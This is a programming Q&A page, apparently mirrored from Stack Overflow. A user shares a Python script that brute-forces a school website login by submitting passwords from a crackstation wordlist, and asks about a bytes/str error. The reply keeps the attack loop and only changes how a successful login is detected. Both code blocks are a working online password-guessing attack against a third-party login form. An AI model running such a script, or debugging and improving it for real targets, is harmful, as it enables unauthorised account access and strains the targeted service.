简体   繁体   中英

“A bytes-like object is required, not str” Error in Python

For something to do during the pandemic, I have tried to create a password cracker to try and guess my own password to my school website (boring I know, but I thought it was cool).

However when I run my program I get "a bytes-like object is required, not 'str'" caused by "if 'Invalid password' not in response.content:".

I have looked around but can't find anything to help me. If anyone can help, it would be greatly appreciated


target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Invalid password" not in response.content:
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")```

I don't think validate the content is the best way. Try by validating the response status code, if the password is correct, the status code will be 200, otherwise 401 or 403. eg

target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if response.status_code == 200: # This is the changed line
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM